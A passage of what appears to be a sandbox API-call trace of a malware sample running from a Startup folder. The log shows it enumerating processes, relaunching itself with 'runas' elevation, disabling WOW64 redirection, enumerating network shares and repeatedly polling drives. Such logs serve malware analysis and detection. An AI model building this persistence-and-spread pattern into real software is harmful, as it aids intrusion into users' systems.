szExeFile="dllhost.exe")) returned 1 [0170.228] lstrlenW (lpString="dllhost.exe") returned 11 [0170.228] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.229] lstrlenW (lpString="taskhost.exe") returned 12 [0170.229] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.229] lstrlenW (lpString="dllhost.exe") returned 11 [0170.229] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.229] lstrlenW (lpString="dllhost.exe") returned 11 [0170.229] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0170.230] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0170.230] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.230] lstrlenW (lpString="cmd.exe") returned 7 [0170.230] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.230] lstrlenW (lpString="conhost.exe") returned 11 [0170.230] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0170.231] CloseHandle (hObject=0x180) returned 1 [0170.231] Sleep (dwMilliseconds=0x1f4) Thread: id = 46 os_tid = 0x550 [0123.313] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfdf8 [0123.313] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8dbcc8 [0123.313] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfe28 [0123.313] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe28, Size=0x20) returned 0x8b6018 [0123.313] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfe28 [0123.313] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe28, Size=0x20) returned 0x8b6040 [0123.314] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0123.314] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0123.314] Wow64DisableWow64FsRedirection (in: OldValue=0x224ff28 | out: OldValue=0x224ff28*=0x0) returned 1 [0123.314] lstrlenW (lpString="kernel32.dll") returned 12 [0123.314] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6018 | out: hHeap=0x880000) returned 1 [0123.314] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0123.314] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6040 | out: hHeap=0x880000) returned 1 [0123.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8dbcc8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0123.314] ShellExecuteExW (in: pExecInfo=0x224ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x224ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0167.664] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfe28 [0167.664] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe28, Size=0x20) returned 0x3aac0c0 [0167.664] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfe28 [0167.664] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe28, Size=0x20) returned 0x3aac0e8 [0167.664] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.664] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.664] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0167.667] lstrlenW (lpString="kernel32.dll") returned 12 [0167.667] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3aac0e8 | out: hHeap=0x880000) returned 1 [0167.667] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.667] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3aac0c0 | out: hHeap=0x880000) returned 1 [0167.667] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbcc8 | out: hHeap=0x880000) returned 1 [0167.667] lstrlenW (lpString="runas") returned 5 [0167.667] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfdf8 | out: hHeap=0x880000) returned 1 [0167.667] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0167.667] ReleaseMutex (hMutex=0x84) returned 1 [0167.667] Sleep (dwMilliseconds=0x1f4) [0168.266] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0168.266] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b4f78 | out: hHeap=0x880000) returned 1 Thread: id = 47 os_tid = 0x554 [0123.326] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfe70 [0123.326] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe70, Size=0x20) returned 0x8b6040 [0123.326] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6040, Size=0x40) returned 0x8fa350 [0123.326] GetLogicalDrives () returned 0x4 [0123.326] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x90ecd8 [0123.326] GetComputerNameW (in: lpBuffer=0x90ecdc, nSize=0x234ff6c | out: lpBuffer="XDUWTFONO", nSize=0x234ff6c) returned 1 [0123.327] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x8d8350 [0123.327] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x8b6638) returned 0x0 [0123.327] WNetEnumResourceW (in: hEnum=0x8b6638, lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40) returned 0x103 [0123.327] WNetCloseEnum (hEnum=0x8b6638) returned 0x0 [0123.327] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x8da060) returned 0x0 [0126.674] WNetEnumResourceW (in: hEnum=0x8da060, lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40) returned 0x0 [0126.674] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x8ee5f8 [0126.674] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8d8350, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x8b6858) returned 0x0 [0127.225] WNetEnumResourceW (in: hEnum=0x8b6858, lpcCount=0x234ff0c, lpBuffer=0x8ee5f8, lpBufferSize=0x234ff14 | out: lpcCount=0x234ff0c, lpBuffer=0x8ee5f8, lpBufferSize=0x234ff14) returned 0x103 [0127.225] WNetCloseEnum (hEnum=0x8b6858) returned 0x0 [0127.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x42952e0 [0127.225] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8d8370, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4c6 [0127.459] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x4299fd8 [0127.459] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8d8390, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4c6 [0127.460] WNetEnumResourceW (in: hEnum=0x8da060, lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x8d8350, lpBufferSize=0x234ff40) returned 0x103 [0127.460] WNetCloseEnum (hEnum=0x8da060) returned 0x0 [0127.460] GetLogicalDrives () returned 0x4 [0127.460] Sleep (dwMilliseconds=0x64) [0127.690] GetLogicalDrives () returned 0x4 [0127.690] Sleep (dwMilliseconds=0x64) [0127.928] GetLogicalDrives () returned 0x4 [0127.928] Sleep (dwMilliseconds=0x64) [0128.305] GetLogicalDrives () returned 0x4 [0128.306] Sleep (dwMilliseconds=0x64) [0129.354] GetLogicalDrives () returned 0x4 [0129.354] Sleep (dwMilliseconds=0x64) [0129.759] GetLogicalDrives () returned 0x4 [0129.759] Sleep (dwMilliseconds=0x64) [0129.931] GetLogicalDrives () returned 0x4 [0129.931] Sleep (dwMilliseconds=0x64) [0130.167] GetLogicalDrives () returned 0x4 [0130.167] Sleep (dwMilliseconds=0x64) [0130.534] GetLogicalDrives () returned 0x4 [0130.534] Sleep (dwMilliseconds=0x64) [0130.888] GetLogicalDrives () returned 0x4 [0130.888] Sleep (dwMilliseconds=0x64) [0131.155] GetLogicalDrives () returned 0x4 [0131.155] Sleep (dwMilliseconds=0x64) [0131.473] GetLogicalDrives () returned 0x4 [0131.473] Sleep (dwMilliseconds=0x64) [0131.653] GetLogicalDrives () returned 0x4 [0131.654] Sleep (dwMilliseconds=0x64) [0131.978] GetLogicalDrives () returned 0x4 [0131.978] Sleep (dwMilliseconds=0x64) [0132.128] GetLogicalDrives () returned 0x4 [0132.128] Sleep (dwMilliseconds=0x64) [0132.376] GetLogicalDrives () returned 0x4 [0132.376] Sleep (dwMilliseconds=0x64) [0132.484] GetLogicalDrives () returned 0x4 [0132.484] Sleep (dwMilliseconds=0x64) [0132.639] GetLogicalDrives () returned 0x4 [0132.639] Sleep (dwMilliseconds=0x64) [0132.787] GetLogicalDrives () returned 0x4 [0132.787] Sleep (dwMilliseconds=0x64) [0132.973] GetLogicalDrives () returned 0x4 [0132.973] Sleep (dwMilliseconds=0x64) [0133.089] GetLogicalDrives () returned 0x4 [0133.089] Sleep (dwMilliseconds=0x64) [0133.208] GetLogicalDrives () returned 0x4 [0133.208] Sleep (dwMilliseconds=0x64) [0133.361] GetLogicalDrives () returned 0x4 [0133.361] Sleep (dwMilliseconds=0x64) [0133.477] GetLogicalDrives () returned 0x4 [0133.477] Sleep (dwMilliseconds=0x64) [0133.605] GetLogicalDrives () returned 0x4 [0133.605] Sleep (dwMilliseconds=0x64) [0133.805] GetLogicalDrives () returned 0x4 [0133.806] Sleep (dwMilliseconds=0x64) [0134.087] GetLogicalDrives () returned 0x4 [0134.087] Sleep (dwMilliseconds=0x64) [0134.464] GetLogicalDrives () returned 0x4 [0134.464] Sleep (dwMilliseconds=0x64) [0134.661] GetLogicalDrives () returned 0x4 [0134.661] Sleep (dwMilliseconds=0x64) [0135.064] GetLogicalDrives () returned 0x4 [0135.064] Sleep (dwMilliseconds=0x64) [0135.410] GetLogicalDrives () returned 0x4 [0135.410] Sleep (dwMilliseconds=0x64) [0135.566] GetLogicalDrives () returned 0x4 [0135.566] Sleep (dwMilliseconds=0x64) [0135.812] GetLogicalDrives () returned 0x4 [0135.812] Sleep (dwMilliseconds=0x64) [0136.127] GetLogicalDrives () returned 0x4 [0136.127] Sleep (dwMilliseconds=0x64) [0136.286] GetLogicalDrives () returned 0x4 [0136.286] Sleep (dwMilliseconds=0x64) [0136.526] GetLogicalDrives () returned 0x4 [0136.526] Sleep (dwMilliseconds=0x64) [0136.700] GetLogicalDrives () returned 0x4 [0136.700] Sleep (dwMilliseconds=0x64) [0136.978] GetLogicalDrives () returned 0x4 [0136.978] Sleep (dwMilliseconds=0x64) [0137.302] GetLogicalDrives () returned 0x4 [0137.302] Sleep (dwMilliseconds=0x64) [0137.530] GetLogicalDrives () returned 0x4 [0137.530] Sleep (dwMilliseconds=0x64) [0137.660] GetLogicalDrives () returned 0x4 [0137.660] Sleep (dwMilliseconds=0x64) [0137.797] GetLogicalDrives () returned 0x4 [0137.797] Sleep (dwMilliseconds=0x64) [0137.940] GetLogicalDrives () returned 0x4 [0137.940] Sleep (dwMilliseconds=0x64) [0138.234] GetLogicalDrives () returned 0x4 [0138.234] Sleep (dwMilliseconds=0x64) [0139.085] GetLogicalDrives () returned 0x4 [0139.085] Sleep (dwMilliseconds=0x64) [0139.286] GetLogicalDrives () returned 0x4 [0139.286] Sleep (dwMilliseconds=0x64) [0139.484] GetLogicalDrives () returned 0x4 [0139.484] Sleep (dwMilliseconds=0x64) [0139.839] GetLogicalDrives () returned 0x4 [0139.839] Sleep (dwMilliseconds=0x64) [0140.100] GetLogicalDrives () returned 0x4 [0140.100] Sleep (dwMilliseconds=0x64) [0140.248] GetLogicalDrives () returned 0x4 [0140.248] Sleep (dwMilliseconds=0x64) [0140.531] GetLogicalDrives () returned 0x4 [0140.531] Sleep (dwMilliseconds=0x64) [0140.713] GetLogicalDrives () returned 0x4 [0140.713] Sleep (dwMilliseconds=0x64) [0140.993] GetLogicalDrives () returned 0x4 [0140.993] Sleep (dwMilliseconds=0x64) [0141.227] GetLogicalDrives () returned 0x4 [0141.227] Sleep (dwMilliseconds=0x64) [0141.616] GetLogicalDrives () returned 0x4 [0141.616] Sleep (dwMilliseconds=0x64) [0141.814] GetLogicalDrives () returned 0x4 [0141.814] Sleep (dwMilliseconds=0x64) [0142.133] GetLogicalDrives () returned 0x4 [0142.133] Sleep (dwMilliseconds=0x64) [0142.303] GetLogicalDrives () returned 0x4 [0142.303] Sleep (dwMilliseconds=0x64) [0142.611] GetLogicalDrives () returned 0x4 [0142.611] Sleep (dwMilliseconds=0x64) [0143.040] GetLogicalDrives () returned 0x4 [0143.040] Sleep (dwMilliseconds=0x64) [0143.339] GetLogicalDrives () returned 0x4 [0143.339] Sleep (dwMilliseconds=0x64) [0143.700] GetLogicalDrives () returned 0x4 [0143.700] Sleep (dwMilliseconds=0x64) [0143.821] GetLogicalDrives () returned 0x4 [0143.821] Sleep (dwMilliseconds=0x64) [0144.204] GetLogicalDrives () returned 0x4 [0144.204] Sleep (dwMilliseconds=0x64) [0144.542] GetLogicalDrives () returned 0x4 [0144.542] Sleep (dwMilliseconds=0x64) [0144.762] GetLogicalDrives () returned 0x4 [0144.762] Sleep (dwMilliseconds=0x64) [0145.048] GetLogicalDrives () returned 0x4 [0145.048] Sleep (dwMilliseconds=0x64) [0145.229] GetLogicalDrives () returned 0x4 [0145.230] Sleep (dwMilliseconds=0x64) [0145.612] GetLogicalDrives () returned 0x4 [0145.612] Sleep (dwMilliseconds=0x64) [0145.781] GetLogicalDrives () returned 0x4 [0145.781] Sleep (dwMilliseconds=0x64) [0146.168] GetLogicalDrives () returned 0x4 [0146.168] Sleep (dwMilliseconds=0x64) [0146.320] GetLogicalDrives () returned 0x4 [0146.320] Sleep (dwMilliseconds=0x64) [0146.790] GetLogicalDrives () returned 0x4 [0146.790] Sleep (dwMilliseconds=0x64) [0147.179] GetLogicalDrives () returned 0x4 [0147.179] Sleep (dwMilliseconds=0x64) [0147.282] GetLogicalDrives () returned 0x4 [0147.282] Sleep (dwMilliseconds=0x64) [0147.552] GetLogicalDrives () returned 0x4 [0147.552] Sleep (dwMilliseconds=0x64) [0147.738] GetLogicalDrives () returned 0x4 [0147.738] Sleep (dwMilliseconds=0x64) [0147.939] GetLogicalDrives () returned 0x4 [0147.939] Sleep (dwMilliseconds=0x64) [0148.360] GetLogicalDrives () returned 0x4 [0148.360] Sleep (dwMilliseconds=0x64) [0148.576] GetLogicalDrives () returned 0x4 [0148.576] Sleep (dwMilliseconds=0x64) [0148.839] GetLogicalDrives () returned 0x4 [0148.839] Sleep (dwMilliseconds=0x64) [0149.381] GetLogicalDrives () returned 0x4 [0149.382] Sleep (dwMilliseconds=0x64) [0149.744] GetLogicalDrives () returned 0x4 [0149.744] Sleep (dwMilliseconds=0x64) [0149.975] GetLogicalDrives () returned 0x4 [0149.975] Sleep (dwMilliseconds=0x64) [0150.216] GetLogicalDrives () returned 0x4 [0150.216] Sleep (dwMilliseconds=0x64) [0150.474] GetLogicalDrives () returned 0x4 [0150.474] Sleep (dwMilliseconds=0x64) [0150.846] GetLogicalDrives () returned 0x4 [0150.846] Sleep (dwMilliseconds=0x64) [0151.420] GetLogicalDrives () returned 0x4 [0151.420] Sleep (dwMilliseconds=0x64) [0151.934] GetLogicalDrives () returned 0x4 [0151.934] Sleep (dwMilliseconds=0x64) [0152.304] GetLogicalDrives () returned 0x4 [0152.304] Sleep (dwMilliseconds=0x64) [0152.482] GetLogicalDrives () returned 0x4 [0152.482] Sleep (dwMilliseconds=0x64) [0152.927] GetLogicalDrives () returned 0x4 [0152.927] Sleep (dwMilliseconds=0x64) [0153.330] GetLogicalDrives () returned 0x4 [0153.330] Sleep (dwMilliseconds=0x64) [0153.612] GetLogicalDrives () returned 0x4 [0153.612] Sleep (dwMilliseconds=0x64) [0154.119] GetLogicalDrives () returned 0x4 [0154.119] Sleep (dwMilliseconds=0x64) [0154.472] GetLogicalDrives () returned 0x4 [0154.472] Sleep (dwMilliseconds=0x64) [0154.954] GetLogicalDrives () returned 0x4 [0154.955] Sleep (dwMilliseconds=0x64) [0155.334] GetLogicalDrives () returned 0x4 [0155.334] Sleep (dwMilliseconds=0x64) [0155.981] GetLogicalDrives () returned 0x4 [0155.981] Sleep (dwMilliseconds=0x64) [0156.516] GetLogicalDrives () returned 0x4 [0156.516] Sleep (dwMilliseconds=0x64) [0156.824] GetLogicalDrives () returned 0x4 [0156.824] Sleep (dwMilliseconds=0x64) [0157.475] GetLogicalDrives () returned 0x4 [0157.476] Sleep (dwMilliseconds=0x64) [0157.832] GetLogicalDrives () returned 0x4 [0157.832] Sleep (dwMilliseconds=0x64) [0158.116] GetLogicalDrives () returned 0x4 [0158.116] Sleep (dwMilliseconds=0x64) [0158.355] GetLogicalDrives () returned 0x4 [0158.355] Sleep (dwMilliseconds=0x64) [0158.837] GetLogicalDrives () returned 0x4 [0158.837] Sleep (dwMilliseconds=0x64) [0159.304] GetLogicalDrives () returned 0x4 [0159.304] Sleep (dwMilliseconds=0x64) [0159.504] GetLogicalDrives () returned 0x4 [0159.504] Sleep (dwMilliseconds=0x64) [0159.842] GetLogicalDrives () returned 0x4 [0159.842] Sleep (dwMilliseconds=0x64) [0160.035] GetLogicalDrives () returned 0x4 [0160.035] Sleep (dwMilliseconds=0x64) [0160.417] GetLogicalDrives () returned 0x4 [0160.417] Sleep (dwMilliseconds=0x64) [0160.637] GetLogicalDrives () returned 0x4 [0160.637] Sleep (dwMilliseconds=0x64) [0160.802] GetLogicalDrives () returned 0x4 [0160.802] Sleep (dwMilliseconds=0x64) [0161.005] GetLogicalDrives () returned 0x4 [0161.006] Sleep (dwMilliseconds=0x64) [0161.329] GetLogicalDrives () returned 0x4 [0161.329] Sleep (dwMilliseconds=0x64) [0161.808] GetLogicalDrives () returned 0x4 [0161.808] Sleep (dwMilliseconds=0x64) [0162.035] GetLogicalDrives () returned 0x4 [0162.035] Sleep (dwMilliseconds=0x64) [0162.169] GetLogicalDrives () returned 0x4 [0162.169] Sleep (dwMilliseconds=0x64) [0162.401] GetLogicalDrives () returned 0x4 [0162.401] Sleep (dwMilliseconds=0x64) [0162.661] GetLogicalDrives () returned 0x4 [0162.661] Sleep (dwMilliseconds=0x64) [0162.869] GetLogicalDrives () returned 0x4 [0162.871] Sleep (dwMilliseconds=0x64) [0163.676] GetLogicalDrives () returned 0x4 [0163.676] Sleep (dwMilliseconds=0x64) [0163.943] GetLogicalDrives () returned 0x4 [0163.944] Sleep (dwMilliseconds=0x64) [0164.183] GetLogicalDrives () returned 0x4 [0164.183] Sleep (dwMilliseconds=0x64) [0164.335] GetLogicalDrives () returned 0x4 [0164.335] Sleep (dwMilliseconds=0x64) [0164.455] GetLogicalDrives () returned 0x4 [0164.455] Sleep (dwMilliseconds=0x64) [0164.577] GetLogicalDrives () returned 0x4 [0164.578] Sleep (dwMilliseconds=0x64) [0164.725] GetLogicalDrives () returned 0x4 [0164.725] Sleep (dwMilliseconds=0x64) [0164.863] GetLogicalDrives () returned 0x4 [0164.863] Sleep (dwMilliseconds=0x64) [0164.978] GetLogicalDrives () returned 0x4 [0164.978] Sleep (dwMilliseconds=0x64) [0165.122] GetLogicalDrives () returned 0x4 [0165.122] Sleep (dwMilliseconds=0x64) [0165.268] GetLogicalDrives () returned 0x4 [0165.268] Sleep (dwMilliseconds=0x64) [0165.452] GetLogicalDrives () returned 0x4 [0165.452] Sleep (dwMilliseconds=0x64) [0165.593] GetLogicalDrives () returned 0x4 [0165.593] Sleep (dwMilliseconds=0x64) [0165.725] GetLogicalDrives () returned 0x4 [0165.725] Sleep (dwMilliseconds=0x64) [0165.871] GetLogicalDrives () returned 0x4 [0165.871] Sleep (dwMilliseconds=0x64) [0166.032] GetLogicalDrives () returned 0x4 [0166.032] Sleep (dwMilliseconds=0x64) [0166.194] GetLogicalDrives () returned 0x4 [0166.194] Sleep (dwMilliseconds=0x64) [0166.329] GetLogicalDrives () returned 0x4 [0166.329] Sleep (dwMilliseconds=0x64) [0166.477] GetLogicalDrives () returned 0x4 [0166.477] Sleep (dwMilliseconds=0x64) [0166.670] GetLogicalDrives () returned 0x4 [0166.671] Sleep (dwMilliseconds=0x64) [0166.801] GetLogicalDrives () returned 0x4 [0166.801] Sleep (dwMilliseconds=0x64) [0167.015] GetLogicalDrives () returned 0x4 [0167.015] Sleep (dwMilliseconds=0x64) [0167.181] GetLogicalDrives () returned 0x4 [0167.181] Sleep (dwMilliseconds=0x64) [0167.283] GetLogicalDrives () returned 0x4 [0167.283] Sleep (dwMilliseconds=0x64) [0167.405] GetLogicalDrives () returned 0x4 [0167.405] Sleep (dwMilliseconds=0x64) [0167.628] GetLogicalDrives () returned 0x4 [0167.628] Sleep (dwMilliseconds=0x64) [0167.783] GetLogicalDrives () returned 0x4 [0167.783] Sleep (dwMilliseconds=0x64) [0167.904] GetLogicalDrives () returned 0x4 [0167.904] Sleep (dwMilliseconds=0x64) [0168.077] GetLogicalDrives () returned 0x4 [0168.078] Sleep (dwMilliseconds=0x64) [0168.268] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0168.268] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fa350 | out: hHeap=0x880000) returned 1 Thread: id = 48 os_tid = 0x558 [0126.106] GetTickCount () returned 0x1130992 [0126.106] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8d0730 [0126.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0126.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0126.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0126.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0126.366] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cffd8 [0126.366] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cffd8, Size=0x20) returned 0x8b6158 [0126.366] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cffd8 [0126.366] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cffd8, Size=0x20) returned 0x8b6180 [0126.367] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.651] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.651] Wow64DisableWow64FsRedirection (in: OldValue=0x248ff84 | out: OldValue=0x248ff84*=0x0) returned 1 [0126.651] lstrlenW (lpString="kernel32.dll") returned 12 [0126.651] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6158 | out: hHeap=0x880000) returned 1 [0126.651] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.651] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6180 | out: hHeap=0x880000) returned 1 [0126.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8ba090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c [0126.653] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0127.102] GetTickCount () returned 0x1130c8f [0127.102] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0127.364] GetTickCount () returned 0x1130d88 [0127.364] GetTickCount () returned 0x1130d88 [0127.364] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0127.666] GetTickCount () returned 0x1130ec0 [0127.666] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0127.928] GetTickCount () returned 0x1130fca [0127.928] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0128.305] GetTickCount () returned 0x1131140 [0128.305] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0129.353] GetTickCount () returned 0x1131555 [0129.353] GetTickCount () returned 0x1131555 [0129.353] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0129.759] GetTickCount () returned 0x113165e [0129.759] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0129.931] GetTickCount () returned 0x113170a [0129.931] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0130.167] GetTickCount () returned 0x11317f4 [0130.167] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0130.534] GetTickCount () returned 0x113196a [0130.534] GetTickCount () returned 0x113196a [0130.534] 